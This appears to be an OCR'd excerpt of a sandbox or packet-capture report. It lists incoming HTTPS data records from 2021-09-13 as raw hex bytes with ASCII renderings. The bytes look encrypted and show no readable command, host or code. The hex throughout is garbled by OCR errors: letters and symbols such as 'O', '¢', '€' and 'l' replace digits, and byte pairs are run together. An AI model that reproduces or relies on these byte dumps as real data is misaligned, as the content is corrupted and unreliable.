2021-09-13 23:07:18 UTC 226 IN Data Raw: fb dd 84 4f 1d 4a ec f6 01 22 73 Oe 31 ed fc 9a 94 ea 84 db 9a 25 08 e3 d1 fb 6e 47 3c 15 54 ff da a5 29 a9 06
ef 91 a2 ac bb 72 2e 16 16 c6 Oe bb d1 eb b0 c4 df 55 6a be e8 ec f5 74 1b e8 04 88 bc 1b 15 14 b7 6¢ df c1 7a 3d al 5a
02 4e 59 81 1b 15 9b ce 82 al f0 9b b0 3c 79 ed 9c e5 5 8 7d 7c 2a 07 3b b8 d9 43 e6 05 83 Oe 9d bf 67 27 da 08 le el
99 el 99 43 77 3a 1a d6 ff ec ea 6a 98 49 4d 5d 19 ac 6d e5 el c8 b2 82 79 84 34 25 75 68 5f 6b 88 c4 e2 2e ¢5 60 30 79
d4 b8 5e 9e 1c c4 fe 56 13 db 1e fc 3c 92 e0 4d 43 45 45 ef df 89 73 b9 a6 6b 61 8d 92 1c 6e 9d 5a b0 9d e4 96 41 15 f1
0Ob 4f 69 54 bb de 4c 59 el 95 f8 49 de ¢2 1b 67 9c d6 f1 Oe 84 7c 78 72 c0 b8 80 al 05 93 10 39 7d fc 47 5d 5d 2e 07 23
d4 f3 77 bl 8a b9 4e 22 4f bf b5 82 52 a4 bl cd f9 10
Data Ascii: 0J"s1%nG<T)r.Ujtlz=ZNY<y}|*;Cg'Cw:jIM]my4%uh_k. 0y*"V<MCEEskanZAOITLYIg|xr9}G]]. #wN"OR

2021-09-13 23:07:18 UTC 228 IN Data Raw: 49 33 d3 d8 83 20 2b d0 35 c9 84 34 ca f3 46 fe b6 1f 78 99 b2 5a €8 65 47 3e 88 7e 25 9a €9 6¢ 17 2d d4 b6
bc 9d 19 45 ¢6 06 21 34 3c c8 a3 a7 2c ¢2 58 e6 83 97 89 b5 c2 d1 53 87 eb 79 13 1a 15 04 e5 dc e0 be 90 7b 56 6¢ 7c
12 0e 09 85 3a b6 e2 el f1 42 69 a9 b7 5d 2f 06 3c ab bf bc 17 c8 a5 7f ed 48 ce 16 90 ec 37 87 dc 97 79 20 e3 ab 44 1f f4
a8 23 3c 1c aa d1 Of 4d 67 39 54 57 9a 91 3f d2 4e 1e f5 2b a9 a3 67 85 50 10 89 6f 83 fb bc df 70 05 85 e7 d9 1d b2 84 7f
9b b4 76 f6 d7 75 82 b6 1b 2f e2 9a 63 a9 6 79 a7 dc 10 c5 42 a7 bb 72 e3 7e bd €0 44 al 78 51 b4 85 7f 6¢ 15 97 89 26
4d d4 ca 92 bf 70 20 23 5¢ 6¢ 29 e5 ee ba 3a 67 82 2d e0 61 73 dd e8 80 24 8 09 86 d1 cb 9f 3e 5¢ d7 3c 76 91 68 fb 50
fb d8 8e 60 ba 36 f7 e6 €2 97 ea 6b e6 3b 20 fe 77 c9
Data Ascii: 13 +54FxZeG>~%I-E!4<, XSy{VI|:Bi)/<H7y D#<Mg9TW?N+gPopvu/cyBr~DxQI&Mp #\):g-as$>\<vhP 6k; w
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 229 IN Data Raw: 9f 8a e4 98 79 cd d2 e8 cc 39 ff d0 1d 1f f5 5d de ce 37 ea 4b 53 01 81 c6 3a 18 1a ed 9f 7d b8 7b dd 1c a4 4a
69 20 d3 c4 91 24 6f 1f b2 98 €8 d0 44 1a a9 6¢ b7 a0 Ob 94 b1 71 e3 6b 9b 33 47 83 e3 ea fd b5 20 8f 6a 3f 5¢c Oa da 96
23 e0 4f 8c 4f 72 e4 54 cb b9 92 ca 70 40 c4 Od fe 68 45 al 67 43 93 c5 02 78 b8 Ob 5f 79 d9 6f 50 5f 96 f8 eb 89 b9 32 b6
Oc 10 2d 26 b6 6 el b7 4c 07 f0 87 1e 66 73 6d 9f 20 9a 55 79 60 9e 00 9a d3 6a d8 01 37 3d 9b 61 57 4b 4f 3a 8f 86 43
9f 92 87 e8 3 44 66 7e 82 68 9e eb c8 6¢ 74 77 3a 60 3c 22 e4 bc 06 f7 d3 e8 bl 71 d8 55 ab 1a 99 d4 f3 32 bc 33 98 34
24 89 ef 9e ea 86 24 7a a9 41 20 e9 86 17 2b f9 2e 83 8¢ bd e0 c7 ff 0d 5e 5d 8a 93 e9 {6 af Oe 9f cf 9f a7 Oe a2 c3 5e 94
07 58 ff 24 4e 67 44 61 b1 dd 4f 73 44 0 d8 ff
Data Ascii: y9]7KS:HJi $0DIgk3G j?\#OOrTp@hEgCx_yoP_2-&Lfsm Uy'j7=aWKO:CDf~hltw:'<"qU234$$zA +.]"X
$NgDaOsD

2021-09-13 23:07:18 UTC 230 IN Data Raw: 09 ae e2 ab 2b 51 3e 89 79 6¢ ea ac 21 b9 48 ff 78 79 76 f1 82 de ea b2 22 26 99 b0 80 7e 5b d7 57 e7 8c f3 df
ae 98 54 9d 53 2b 54 4d 6b a4 fc 84 52 df a3 38 8a 2f 56 98 bd 98 59 a9 e3 21 03 48 b8 6¢ 09 67 43 36 12 5d Of e7 6¢ c9
d8 eb 12 2e 84 9c c2 37 1a 5a 2d d2 e5 ec dd e8 f4 ec b8 7d b3 c9 cd 9e e6 93 29 60 8d 6d 35 4f 24 8f 2f 36 96 ca 8c e8
1351 e8 96 e7 1e e3 bb ee fc d8 58 67 Of b5 e3 2f Ob 35 41 31 10 20 be 5a 8f 79 14 50 e5 6¢ 1b 2f al bb f3 05 2f 66 87 €8
dc ad 43 28 8e ed 59 1d 6d 40 Oa 53 34 2a bc dO 7e 41 c9 ec 3f 8d e5 el e9 b4 e5 e5 2 6¢ 9e c1 d5 f4 2¢ 1a 5f ef 29 ca 8b
c115d6 2a 34 45 37 19 a7 f7 82 88 69 b6 a3 12 8d 7e f8 f2 65 f7 90 8f b4 25 3a cb f4 Oe e4 89 5e f0 fc 2d c2 79 86 2c 5a
63 c4 0f 39 e0 7f 25 40 10 13 25 6e 61 28 cc
Data Ascii: +Q>YyI!Hxyv"&~[WTS+TMkR8/VY!HIgCE]l.7Z-})' m50$/6QXg/5A1 ZyPl//fC(Ym@S4*~A?l, )*4E7i~e%: -
Y,Z2c9%@%na(

2021-09-13 23:07:18 UTC 231 IN Data Raw: 3c e6 f2 26 66 ea df 93 f1 c5 de ee 8a 54 ca ee d0 69 95 49 3f 33 04 3e 39 c0 aa 44 82 6¢ 81 ce 6d 49 ea ee bc
c592 ca 91 b8 f4 51 92 05 d2 2c 74 7f bf 96 45 e9 81 c7 8f 8 33 12 59 b6 08 71 02 f6 d9 98 31 a5 24 54 04 ab cf f6 5d 02
c159d1 ca637df6c7 56 1a 26 25 42 85 df a9 fd be 8c f8 ea a8 6¢ da 06 c8 af 65 63 4e a3 48 90 5a db c2 92 b8 45 67
4d 6a f8 34 88 20 b7 c5 1d 1b 76 98 4e 41 a6 c5 86 89 4a 47 Ob ab 9d f3 56 8a 38 d7 87 b6 7f 12 8b 86 53 55 b2 74 c2 5f
98 b4 14 b3 d5 fb 4f 99 81 fb 1d 54 ab 89 07 72 84 c0 61 10 34 21 c4 Oe 65 30 2c b4 e2 a7 51 f2 32 6b 7d 1c 28 a0 99 73
60 c2 78 74 1f 08 fe 6d 37 58 23 63 9a 4b 44 21 00 4a 13 f1 c5 09 fc 19 85 2a 1d 88 94 bc db d8 8a ae 60 eb a7 87 5¢ 12
2233 e9a9 16 29 30 26 14 cd 3f b5 2a 26 11 82 ba
Data Ascii: <&fTil?3>9DImIQ,tE3Yq1$T]Yc}V&%BlecNHZEgMj4 vNAJGV8SUt_OTra4!le0,Q2k}(s xtm7X#cKD!J*'\"3)0&?*&

2021-09-13 23:07:18 UTC 233 IN Data Raw: fa 58 b2 15 26 88 e5 43 fd 11 60 42 64 38 0a dd 58 42 00 f2 d9 dd a4 ec 2c f7 ¢7 85 12 05 63 9d 62 dc 70 8e af
85 78 d8 53 a8 Oc d3 a6 al 18 2e 35 4c al 3b bd 05 95 d1 a8 36 7f 7b 64 9e 91 d4 f7 2¢ 1c 2d d7 f5 a9 77 b0 a9 2d f9 db
04 23 19 af df 14 de de 1a ed 9b 49 59 8 2d 63 f4 90 52 fb 58 fd 57 1b 74 38 90 Ob ed 71 68 Oa 2e 40 ac a7 e5 08 b6 4c
1c ac ae aa ef e5 d9 Oe cd Ob 93 93 21 d2 e7 84 7b 31 d5 ab c9 df c7 e1 03 25 02 3e 11 ad 72 fe ab 28 ae 54 08 f2 10 99
6d 2a cb Oe 7d 41 98 51 73 ¢3 82 47 d3 c2 5e €3 84 11 89 25 67 4d 9b 68 ce ed eb a8 b3 3c ce 68 54 48 71 c1 e8 7d 75 ef
34 46 cc 5b af 05 8b 06 18 0Of 44 c0 9f bc 92 2f df 8b 73 56 1e ¢5 1b 50 b9 03 12 cf a3 Oc 03 9d 37 48 4c 62 95 78 7e f6 99
7b a2 f590 a7 19 17 08 le 96 26 8e a3 94 a9 9b 6b
Data Ascii: X&C Bd8XB,cbpxS.5L;6{d,-w-#1Y-cRXWt8gh.@LK{1%>r(Tm*}AQsG"%gMh<hTHq}u4F[D/sVP7HLbx~{&k

2021-09-13 23:07:18 UTC 234 IN Data Raw: 2c 15 4b 1e 6a 69 b8 15 69 f2 82 0d e7 db f0 a6 75 c2 42 ea ec bc f1 ba ad 90 87 3d 74 cc €9 66 74 10 b3 7c
05 b2 ed aa 0f a3 d7 68 7d 8c 5b 7f dc 96 f8 0d 23 c4 f1 90 e0 e4 a7 5b f6 da a7 7d ac cb 5f 7f 2b 75 7c b2 be 8d 22 92 f0
cf f2 1e 2a 10 83 f9 58 66 14 76 8c e7 €6 99 el c4 €0 00 61 ae c3 42 2b d3 53 11 cd 97 8b Oc 70 8b 84 00 bf 9b 57 55 02
d5 9e be 1a f9 ca 05 54 a4 25 6¢ 8c 4e 4a Of 4e 79 f6 be 66 39 21 cd 3c 1le 7a af 81 f9 b2 e7 Oe 24 49 e8 8e ee 53 43 3a
41 5b 35 6¢ 0b f1 37 89 31 85 7c 9a €9 6f ab 5a cf af d9 ef 4c 02 b5 c5 53 fb b4 1c a7 24 84 ac dc 3c f1 3d 98 ¢2 63 05 e6
d8 97 ec 32 64 b5 2f 6f e4 74 96 ce 85 09 6a 78 b5 9a d1 9f 18 b2 14 6a 04 b9 a9 79 18 d5 24 1e 29 dd 11 4c 66 c0 40 98
d4 8a 47 2b f9 7d 5¢ 60 77 16 af cb Ob f9 89 a5 60
Data Ascii: | KjiiuB=tft|h}[#[}_+u|"*XfvaB+SpWUT%INJINyf9!<z$ISC:A[5171|oZLS$<=c2d/otjxjy$)LI@CG+}\'w"

2021-09-13 23:07:18 UTC 235 IN Data Raw: c3 9b 2a 24 84 e3 f7 ab 3 54 44 9a 8e ad 75 b0 0a c6 92 fb 46 77 55 1f e6 f2 07 f2 55 02 e8 f9 67 24 7f bd 7f
13 ef b8 a2 76 46 82 8d 89 5c dd 4f 4e 6f 57 6f bc 11 54 2d dd b0 b4 4e e9 9c f5 3e 60 0a 6b 62 8c 61 d2 74 f8 61 43 c5 el
5a 93 3f 62 dc e7 8e cb 4b 6b a0 c8 63 23 90 ac 03 98 c2 72 25 df aa 99 d6 f1 10 a6 6f 8e 31 53 18 84 21 30 b4 2e 2b 09
4b 43 46 81 4e e5 cc 42 6¢ 47 64 c5 b8 e2 86 1b eb 3f 9¢c 79 94 e7 d4 41 b8 c7 dc 4a 58 77 3a €9 2b 57 59 73 6d e3 61 76
56 dc 64 dc Of ee 7b 59 84 4e 69 54 96 cf b4 33 ff 1f 8a 30 b3 9d 48 34 96 ec ab 3e e3 Oa 1d ad f8 cb 6b e7 b5 9c 46 c6 eb
01 87 6e bl af 1d 49 65 79 7f 4b 88 4b b1 72 42 26 29 72 91 25 d7 b7 bf ed a9 78 6b f5 65 19 €6 30 62 db 70 86 d0 03 11
18 87 14 11 b7 3e dd c1 8f 34 a5 67 4d 19 aa cb
Data Ascii: *$TDuFwUUg$vF\ONoWoT-N>"kbataCZ?bKkc#r%01S!0.+KCFNBIGd?yAIXw:+WYsmavVd{YNiT30H
4>kFnleyKKrB&)r%xkeObp>4gM

2021-09-13 23:07:18 UTC 237 IN Data Raw: 11 25 35 54 0d 28 1b 1c ca a3 c2 19 dc c9 05 ae 3f 32 ¢3 9b 4c 7a 43 87 Oc 16 7d 70 c4 4b 41 06 f6 94 79 2d
dc 01 63 41 01 e3 c3 14 ea 7a cd 34 b8 39 fe 8f 7b f7 el 67 23 d2 6a e7 86 27 c8 c9 db 48 af cf de 84 48 d0 b9 7f f9 8¢ cb
46 6d 03 f0 56 86 a5 84 2d 59 79 23 5f ef 68 83 €6 d2 21 54 5f a5 3b a0 07 el 21 58 f9 a7 64 c0 69 90 94 6a 64 76 f1 86
14 68 36 0a 26 96 cc b0 7c d9 e0 28 8b 5e 78 09 f3 e7 c4 be 60 56 77 1c 96 6e de b9 7a 68 d9 72 7a 8¢ ae f6 b6 13 al fc
2858 20 a0 10 64 €0 18 12 43 63 1c 96 88 ad 43 29 e4 dc 24 4d e6 aa 89 ec d9 d7 ed ea a0 13 a8 09 2¢ 16 9a c6 d5 c9
57 8d 68 4c 74 72 93 60 e7 bd 73 23 51 57 {7 fb 93 39 a7 72 eb 3b f1 3f Oc 51 76 90 d7 af ae 8 2c 18 45 f2 a6 24 ca af d2
31 46 83 05 00 91 9a eb be ec af 90 be 3e 12 a9 e8 e0
Data Ascii: %5T(?2LzC}pKAy-cAz49{g#HHFmMV-Yy#_h!T_:IXdijdvh6&|("x"Vwnzhrz(X dCcC)$M,WhLtr s#QW9r;?Q
V,E$1F>

2021-09-13 23:07:18 UTC 238 IN Data Raw: 49 Oe cd Ob 8e 43 96 55 98 ca 42 4b 10 fd 39 4e 51 55 84 21 02 fd b9 a6 b8 dd 9b 89 1e c1 ef 20 b1 6f 96 ff 19
f4 ad 8b c5 a7 3f ab 33 3e 23 cc 36 58 €8 d6 58 8b 61 44 6a f3 37 d3 d4 86 57 b6 f8 68 d8 bc 6¢ 46 c6 e3 5f b2 b4 5¢ c5 8f
97 37 d1 f3 cd fe c2 8f 5e 87 41 a0 €9 15 b2 1e 49 39 79 9f 70 1e 71 07 d7 7b 40 eb 5d 2e 05 47 93 95 d3 el 16 c6 5c 7a
41 c1f6 4d 3d cb 42 9a 43 41 d6 83 1d ed 43 1a 6d 7d 4d 95 cf 9e 6a 56 77 e6 50 al b5 93 ba 06 7e 70 44 52 f2 9f d8 6¢
45 78 02 6 da c6 4c a3 db 7 c0 a3 37 65 24 6b 2a 41 02 42 ec 86 b8 cc af 54 94 15 4d 23 59 75 6¢ 6¢ 4d 13 df 69 8e 2c
08 c8 27 18 a3 40 21 b6 18 el 6d 17 40 3b bf ed al b7 26 cd cc e7 c5 1d cc 57 31 84 4e 2a 60 30 02 68 48 Ob d4 64 90
a4 57 79 Oe 12 9e e0 1c 81 d6 29 52 Oc 68 3f Oe cO 2d
Data Ascii: ICUBKINQU! 0?3>#6XXaDj7WhIF_\7*Al9ypg{@].G\zAM=BCACm}MjVwP~pDRIEXL7e$k*ABTM#Yu
IIMi,' @!m@;&W1N* OhHdWy)Rh?-

2021-09-13 23:07:18 UTC 239 IN Data Raw: a4 3c 9d e9 79 Of ff 1f 2c 49 d0 4b 10 e0 11 8b a5 75 Oe 90 fe b4 46 Oe db a7 b2 10 fa 0a 33 d0 00 bf 1e 13 f6
67 70 c0 22 9e 1b c2 ac c¢7 6f ea 1c 9f cO 90 b6 39 f1 5b 58 1c 6e 6a 8d 47 81 af 2f 68 c4 ee 96 84 15 a5 1d 2a 14 91 2d
44 18 af ac 32 35 61 8 62 28 f0 e2 be c7 85 4d bd b8 88 13 a4 e4 3¢ 77 2b eb ea 52 17 60 aa 68 bc b2 8d a3 58 af 1b 19
98 64 ed 18 77 5¢ d3 99 ab 8b 11 1a f0 e2 Oc 90 08 09 d1 8c 45 58 94 68 f9 9b d6 ae c2 9d 39 4f 65 b1 9d a4 e6 97 18 00
d9 12 28 43 58 5f 9b 4a 47 50 dO b5 e2 b2 d5 bc 00 dc a3 1d 48 ¢3 53 85 40 6f 97 4b el 70 d4 99 08 e5 8b 28 ba 08 3d 97
28 6d Ob 81 6b 42 €3 9d 4e 26 6e 1f 21 13 a9 e3 f5f2 eb €5 e7 ee 31 28 1d da 98 b7 d1 3a 09 74 79 1a d1 Of eb 9b 03 3a
ae ¢5 84 d6 98 19 ea d8 df d8 7c 4d 5e b2 95 df 6f 9d
Data Ascii: <y,IKuF3gp"09[XnjG/h*-D25ab(M<w+R " hXdw\EXh90e(CX_JGPHS@oKp(=(mkBN&n!1(:ty:|M"o
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 240 IN Data Raw: 8b 1f 1e 7d 50 36 €2 a8 8b e2 ef c1 d9 64 c0 6b e7 98 73 3f 1a 41 c2 7b b5 3a d6 a7 6b de 79 3d de 04 f6 37
d3 1f 5d 24 77 ¢6 90 42 84 e6 a3 a8 e5 45 03 16 19 81 el bd 81 ea 2c 69 6¢ 52 2e f0 2a 4d 75 6b 5¢ f7 24 f9 37 ac 20 5d
3563 36 38 17 4c 15 55 f3 bf ea al b5 3e 3d 74 a4 6f b3 5d 1b e3 ae ¢4 0d 9e cc 49 85 73 08 40 18 d8 fO a8 75 7f 45 1e
03 68 79 ea 86 d8 90 71 8f ab 03 c5 4d 4d 5b f5 79 3d 88 f6 fc 70 83 3 76 f8 d2 ac 5b 48 4b 4b e2 91 7a ff 75 97 1a dc 56
ea 71 76 98 dc 88 f4 5e 89 ae 6d a3 5¢ 3¢ 1b 06 89 69 95 al 56 e0 fc 0a 42 da ff e2 12 25 48 89 c5 e0 f1 a9 b1 28 96 97
7a d8 df 25 0d 99 08 71 Of 44 7a 3a 89 22 59 39 88 52 le 3e b2 c2 3e a2 53 85 €7 5a c5 ed e7 ce 92 08 cc 64 89 7b d6 b7
99 7c e7 19 a5 59 19 al 47 Oa ad Oa 2e 27 d1 31 29 45
Data Ascii: }P6dks?A{:ky=7]$WBE,ilR.*Muk\$7 ]5c68LU>=to]ls@uEhyqMM[y=pv[HKKzuVgv"m\<iVB%H(z%qDz:"Y9R
>>SZd{|YG.'1)E

2021-09-13 23:07:18 UTC 242 IN Data Raw: c8 a6 79 c6 d4 9f c2 dc 69 50 36 87 c1 6a 8¢ 01 a5 38 38 57 b4 c8 26 98 14 Ob b3 1a ba 64 66 13 28 7d d5 26
a2 c0bc 14 77 c1 d3 52 d5 bb 00 a0 6¢ el 10 51 24 96 c3 ab a0 10 61 97 8f 98 08 6f 87 €6 91 a6 3b 1f af a4 09 81 3a f2
a8 f7 05 dc 93 94 65 c4 ba a4 7d 00 9f 57 64 fO b5 91 98 5d 9d 2b 19 b3 bc 67 3b 1a 94 52 ca 0a ac b7 eb b4 1d c0 98 10
32 d8 d8 d8 ac 84 84 d4 50 89 a6 e5 49 03 97 bb 15 2f 64 e4 26 4a 30 4e 6¢ 1b 76 1c 31 f5 62 76 34 37 97 a8 d0 d8 83 7f
31 9f a6 05 b5 b3 4a 5e f5 8e e3 3b
Data Ascii: yiP6j88W&df(}&wRIQ$ao;:e}Wd]+g;R2P1/d&JONIvibv471J7;

2021-09-13 23:07:18 UTC 242 IN Data Raw: 63 5d 26 c8 3f 05 2d 64 10 aa 16 68 d8 fb 37 89 9b 9b 91 b9 b4 df ff 98 19 Oe c8 5a 69 14 22 54 61 al 1b e0 e2
f3 99 f0 b7 b5 1b 28 5f 80 22 45 4d 28 48 e4 ed 1d 18 b8 83 8f e2 bb 44 1f d3 5f 3c 7f 94 e5 62 42 48 24 9d 3b e7 f4 df 9d
19 65 47 07 c2 e5 3e 3b 1e 41 ae 63 63 9c 6b dd 24 4f 69 d4 ae 25 c3 57 42 38 57 3d 43 79 9e db 30 79 29 e2 01 2c Ob
ae 66 f4 1d e7 37 3c 40 c6 el ad 7a 90 d3 55 aa 16 0f 97 63 cd 76 46 32 Of e8 40 d4 Ob 19 64 35 e7 3f 1f 95 aa e0 b8 83
ae 17 ef 80 f2 2f 88 80 eb Ob 22 1e 62 50 3f 77 3f 91 0f c0 2f a7 39 b5 c8 4c 6d c4 6d 17 97 2d 17 Oa 9d 90 42 08 97 ae 62
6d 9c 99 d5 6d ce 2e d6 96 Ob 93 1a ef ba 04 b2 28 5b 7d bc 38 1f 5a 24 fd 8a df 15 f4 ec 9b a4 d1 45 03 16 f4 06 a7 36 84
37 73 44 95 56 2f 76 84 4b 75 0d 9 6 5¢c 82 67
Data Ascii: c]&?-dh7Zi"Ta(_"EM(HD_<bBH$;eG>;Acck$0i%WB8W=Cy0y),f7<@zUcvF2@d5?/"bP?w?/9Lmm-Bbmm.([}8Z
$E67sDV/vKu\g

2021-09-13 23:07:18 UTC 243 IN Data Raw: 72 a7 a6 d2 57 Oc 52 4e 7b ba ea f4 d2 7a eb 41 d7 ac el 1c f5 c1 27 92 cd 36 d2 3f 25 77 4e f5 48 a6 ad 64 4b
eb 96 52 6d ba 33 Oe 44 c8 bc da 22 2c 96 ff 23 79 18 14 a0 cf al 28 d5 5e 31 25 b9 53 f3 9¢c d0 1d 27 99 07 43 f0 f2 53 ea
05 56 ee 3c 15 a2 cc 27 5¢ 30 b3 c0 cc b5 8d 7b ca 99 1e 91 84 ad 40 9d 14 1c 93 3b c0 16 ed f2 a0 24 ef €5 67 9b ea 03
6b a6 Oa 83 2a cd 9e f1 3f Oc 23 9a fe 2c 1f db 70 61 dd ec 72 8c 9a 65 58 38 bb 6¢ e6 61 39 fe 77 1a laee c2 38 13 el
0b 02 42 30 15 45 3f bb 06 2c 8e 46 1f 91 56 59 61 ea e4 a0 82 ce 90 d8 11 9d a8 c7 4b 96 0d 48 1f 88 87 fb 68 39 ae fO
8c b7 bc 8 38 8e 0a 96 d9 5b 38 5f 78 37 26 44 c0 9a da 4c a0 10 73 49 00 8e 1d 5a 3f 42 8d 66 6b b1 4f 84 30 eb ca ab
9b 4b 28 18 ba 70 00 e7 49 8f 98 4c c2 4c 7c 30 1c
Data Ascii: 'WRN{zA'6?%WNHAKRmM3D" #y(*1%S'CSV<'\0{@;$gk*?#,pareX8la9w8B0OE?,FVYaKHh98[8_x7&DLsIZ?BfkO
OK(pILL|O

2021-09-13 23:07:18 UTC 244 IN Data Raw: 00 c9 1e 5d ¢5 52 9d 4a 75 34 88 7d 46 el 24 f0 00 a5 62 92 61 75 78 Oa df f9 26 30 bf 4f 4d 18 33 6a 8f 5b 8c
e3c3¢7 10 b7 16 7c bc Oe 6a bd f7 c8 a5 e5 e0 9a 43 ca 4e e0 95 d6 53 e6 9d 7c e7 19 21 96 d4 c0 a2 84 97 46 88 af 76
f5 04 37 1le 1af2 90 e3 b9 4c 42 c3 37 db b4 bf ea e4 47 08 2e 4a 6¢ ab 64 25 f7 a8 07 25 b8 86 4f b5 05 11 1c 71 99 5a
59 6¢ 6¢ 4d 7a 50 a7 0a €9 c7 09 ce 65 aa b8 62 7b 17 19 74 02 88 7b 1f 5a €3 38 40 04 8e cf ¢7 13 ed db ad 89 cb b1 38
74 c3 8e fd c2 08 d4 91 74 bf f6 3d Ob 5f d3 9b 83 1a 18 14 Oc e4 49 46 07 f6 b7 d1 5a 8b 7f 08 a6 c4 ff 70 ac 83 ce 07 82
44 92 8e 93 40 29 f7 30 d2 cd cc 43 el 67 62 7d 73 97 bd 98 7d a8 9a 24 e4 b6 a9 c5 e4 72 68 9c cc d3 4e 64 c4 8c de 1d
3e20e3 0106 ca09 130151 45 91 c9 3c 5c 36 de
Data Ascii: ]RIu4}F$baux&00M3)[[]ICNS|!Fv7LB7G.Jld%%0qZYIIMzPeb{t{Z8@8tt=_IFZpD@)0Cgb}s}$rhNd> QE<\6

2021-09-13 23:07:18 UTC 246 IN Data Raw: 6f b4 fb 66 01 96 85 d2 cc db dc 37 73 17 21 8 35 b0 f9 02 b4 65 75 9b c6 d7 9f 5a fe d2 6¢ 3b f9 22 a0 a9 b9
04 84 8d 61 Oc ff 6f 15 fb 81 ec af 1b 76 12 ed 7b e8 3e 9d f6 10 ce c5 Oe el 63 78 d2 04 4e 6d ca d8 73 7d 43 8d a2 43
40 16 63 d1 b9 f2 85 64 76 13 75 c8 86 c7 4c ¢9 be 1c 8b 1c de 23 2d 36 7d 2f 14 9¢c 32 d3 ac f7 48 e5 a7 4b af 95 b2 ec
1a 56 72 30 66 04 6¢ {7 cd 43 f4 82 63 17 54 Oa 77 62 6b 9a 6b el e0 c1 O cd 30 40 4d 4e 35 3e c7 d4 82 24 59 44 b9 dc
29 61 b6 Of 7c 9a 03 32 2f 35 64 €5 94 61 c6 69 53 96 17 99 46 47 dc 9d e7 84 a7 7c ¢7 42 9f dc 3¢ d5 56 cd 8a cl 1d e4
97 2d Oa al 96 ef 10 6f ab e2 7e fd 35 7e fd 48 52 53 91 1d 86 47 1le 41 45 35 c¢5 9c 60 57 83 8b 5e cb ff 9c ¢8 d7 84 d8 c9
63 96 28 1f 5 98 1d f3 98 58 8b 19 78 82 b9 d4 ea
Data Ascii: of7s!5euZl;"aov{>cxNms}CC@cdvuL#-6}/2HKVrOfICcTwbkk0@MN5>$YD)a|2/5daiSFG|B<V-0~5~HRSGAE5
“WAC(Xx

2021-09-13 23:07:18 UTC 247 IN Data Raw: 4d e7 19 b9 85 d7 b4 90 c9 8¢ 17 80 03 11 9b d5 6a 9b 1d ba d9 30 45 b0 de 59 c2 5a 41 a6 33 c2 b2 8b df 53
2e 92 bd 56 a8 b9 4c 1f 5e 17 06 ea 86 53 78 e4 7c 7a 7d c5 02 19 4c f5 0c 41 73 e3 32 b3 5c e ef 7b 8d 71 ae f9 ef {6 33
4f b7 67 1d 82 3c 23 ad d8 37 86 df 23 df 7b 2b 2b e6 60 75 87 b3 5d fd 04 d9 64 64 03 e0 e df be 8a a8 42 12 3d 6b 81
7d 57 01 61 ae e6 72 d6 70 de df 76 64 a9 ed 8f Of 17 fe 48 23 f9 Oa 6f 82 99 9a 79 c7 88 3e ad 54 cd f7 d7 8b 91 Of bc 5¢
7 be 6b 67 24 7b b1 c9 7a a7 e0 7d 10 90 69 Ob ab e6 Oa a5 61 07 32 f3 4b c¢9 d5 75 af 0d c9 ba 43 33 5b 19 c1 Oa 42 04
79 55 7f fb 8b 7b 8e 20 ab ff d2 6b bf ¢8 22 30 f2 1b ¢3 67 cd ec 38 4b 14 2d ef b8 84 3f Oc 1a 5¢ b8 df 23 03 2b 2b 60 b7
98 69 c2 6a 4e 64 ef d7 32 ed d6 fc 5d bc 6e 0d
Data Ascii: MJOEYZA3S.VL"Sx|z}LAs2\{q30g<#7#{++ u]ddB=k}WarpvdH#oy>T\kg${z}ia2KuC3[ByU{ k"0g8K-?\#++
“ijNd2]n

2021-09-13 23:07:18 UTC 248 IN Data Raw: 7f 72 1f 64 4c cb 68 89 5c ef fd 7c 38 7f f5 f2 39 9b 34 8e aa 0d 9f 5d 05 e0 d7 b2 bd 97 42 72 dd a8 48 e6 ed
3a af 1d Of ff f9 96 81 ac 56 9c 03 51 8a 2f 4a b1 69 23 ef 6f fd 4c ea eb 3f d7 76 7d c5 41 a5 65 a5 7 ba 79 6f 7f 8f b4 57
1d 29 5e 4e b3 fd 74 b3 09 38 d4 a6 41 ae c8 3d af 09 ae d9 bc 00 cc 45 c7 9f ad 1c b0 6a 9f 98 Oe 5b 64 15 46 e5 dd 8b
16 ac 4a 27 b7 6b af 9f 27 b4 01 8d 18 Oa da 1a 85 25 45 ¢3 44 57 5b b7 1d 97 3c c5 al bc d7 a0 88 5e 25 50 2b b9 69 dc
9f b7 6d 7f 09 9a 69 66 cc f9 9b fa 9d d8 f5 a8 15 36 07 5d b0 b3 97 4b c4 67 1b e2 de ad 45 ec bb 96 28 44 0d b4 ee 94
3323 a2 e5 9108 34 cf 0b 25 f0 85 83 0d 25 0 fd 7c fb ba 6¢ b9 4d b0 6d 5d 6e 96 4e 41 34 1b fd 96 e9 62 46 38 f5 88 40
a0 62 19 be 95 50 d2 Oe 61 3c 4f 62 8c 18 95
Data Ascii: rdLh\|894]BrH:VQ/Ji#oL?v}AeyoW) Nt8A=Ej[dFJ'k'%EDW[<"%P+imif6]KgE(D3#4%%|IMm]nNA4bF8 @bPa<Ob

2021-09-13 23:07:18 UTC 249 IN Data Raw: d3 da f9 68 0d 9a a7 86 33 b8 94 e2 2c 1f f4 f9 c2 51 f2 c¢2 bd 55 80 7c fa a5 b0 95 18 3b 9e {7 34 ea 06 41 7c
75 8f f1 e5 a9 7f 50 €6 e4 Ob c4 a6 0a c5 24 7c 79 db 81 02 95 2c a6 30 09 56 e4 d5 43 f4 df 20 b6 81 e0 15 4e 33 ce 8 44
25 6 91 d2 59 fb 65 4a 65 90 1b 93 98 53 07 b2 87 53 c4 a7 8d 83 87 80 75 90 bd be 32 al b7 ed €9 72 db ca a2 1c d3 be
219132 eddc 48 e7 €9 40 4a 65 fa a7 64 82 7a 13 17 c7 f7 9a a0 5e 97 5d 77 0a 76 69 8a 7c Ob 28 e3 d7 87 c2 ba c4 b6
9e ef cd 5b 66 54 6d e3 d2 Oe 13 4d 66 e0 43 f1 f0 43 4a 76 55 2a 02 08 5a 30 b4 5a 5e ee 65 25 4b 75 9d 66 ca 53 bc d5
14 e4 de 3b 86 52 7b 5c 5a a8 2f 91 €9 80 2a 84 af 06 e2 fe d4 40 17 e6 e7 6f 75 72 al cc e2 db fa 1c 1f 11 34 f8 d6 e3 58
7e 7ff9 48 b4 c7 26 6¢ 50 1c 29 1f f6 00 3a bl
Data Ascii: h3,QU|;4A|uP$|y,0VC N3D%YeJeSSu2r!2H@Jedz wvi|([fTmMfCCIVU*Z0Z"e%KufS;R{\Z/*@ourdX~H&IP):

